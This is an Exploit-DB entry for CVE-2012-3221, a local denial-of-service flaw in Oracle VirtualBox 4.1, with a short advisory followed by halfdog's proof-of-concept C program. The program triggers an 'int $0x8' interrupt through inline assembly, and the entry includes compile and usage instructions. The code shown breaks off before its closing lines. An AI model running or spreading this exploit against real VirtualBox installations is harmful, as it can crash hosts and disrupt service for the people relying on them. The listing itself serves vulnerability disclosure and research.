Oracle VM VirtualBox 4.1 - Local Denial of Service Vulnerability

ID EDB-ID:21224
Type exploitdb
Reporter halfdog
Modified 2012-09-10T00:00:00


Oracle VM VirtualBox 4.1 - Local Denial of Service Vulnerability. CVE-2012-3221. Dos exploit for lin_x86-64 platform


Oracle VM VirtualBox is prone to a local denial-of-service vulnerability. 

Attackers can exploit this issue to cause denial-of-service conditions.

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 *  Copyright (c) 2012 halfdog <me (%)>
 *  Compile: gcc -o RtcInt RtcInt.c
 *  Usage: ./RtcInt 
int main(int argc, char **argv) {
  asm (
    "int $0x8;"
    : // output: none
    : // input: none
    :"%eax", "%ebx", "%ecx", "%edx"   // clobbered register